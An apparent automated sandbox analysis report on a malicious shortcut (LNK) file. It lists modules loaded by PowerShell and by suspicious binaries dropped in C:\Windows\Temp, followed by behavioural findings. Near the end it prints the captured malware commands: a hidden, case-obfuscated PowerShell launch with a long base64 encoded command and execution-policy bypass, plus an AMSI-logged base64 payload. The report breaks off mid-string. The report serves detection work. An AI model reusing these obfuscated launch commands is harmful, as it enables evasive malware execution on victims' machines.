Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: icu.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winhttp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: mswsock.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshunix.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winrnr.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshbth.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: devobj.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: napinsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winnsi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: sspicli.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: schannel.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: msasn1.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: version.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: icu.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winhttp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: mswsock.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wshunix.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winrnr.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wshbth.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: devobj.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: napinsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winsta.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: userenv.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: profapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: sspicli.dll
Source: C:\Windows\regedit.exe	Section loaded: authz.dll

Source: C:\Windows\System32\systeminfo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"

Source: rRtGI3L0ca.lnk

LNK file: ..\..\..\..\..\..\Windows\system32\cmd.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Directory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source:	Binary string: Microsoft.AppV.AppvClientComConsumer.ni.pdb source: powershell.exe, 00000009.00000002.474829314201.00007FFEB1063000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: Cn.pdb* source: powershell.exe, 00000009.00000002.474814907075.0000018AE7F68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.AppV.AppvClientComConsumer.ni.pdbRSDSk source: powershell.exe, 00000009.00000002.474829314201.00007FFEB1063000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: Microsoft.AppV.AppvClientComConsumer.pdbGCTL source: powershell.exe, 00000009.00000002.474829314201.00007FFEB1063000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: n.pdboDpq source: powershell.exe, 0000000F.00000002.475939915498.0000023BA2200000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.AppV.AppvClientComConsumer.pdb source: powershell.exe, 00000009.00000002.474829314201.00007FFEB1063000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: n.pdbr source: powershell.exe, 00000009.00000002.474814907075.0000018AE7F68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Management.Automation.pdb8/& source: powershell.exe, 00000009.00000002.474811709455.0000018AE7DB1000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String("VzFsSUMxdVpTQWlWMmx1Wkc5M2N5QkVaV1psYm1SbGNpSWdmUTBLSkdselVuVnVibWx1WnlBOUlDUm1ZV3h6WlRzTkNtbG1JQ2drZDJsdVpHOTNjMFJsWm1WdVpHVnlJQzF1WlNBa2JuVnNiQ2tnZXcwS0lDQWdJQ1JwYzFKMWJtNXBibWNnUF

PowerShell case anomaly found

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcA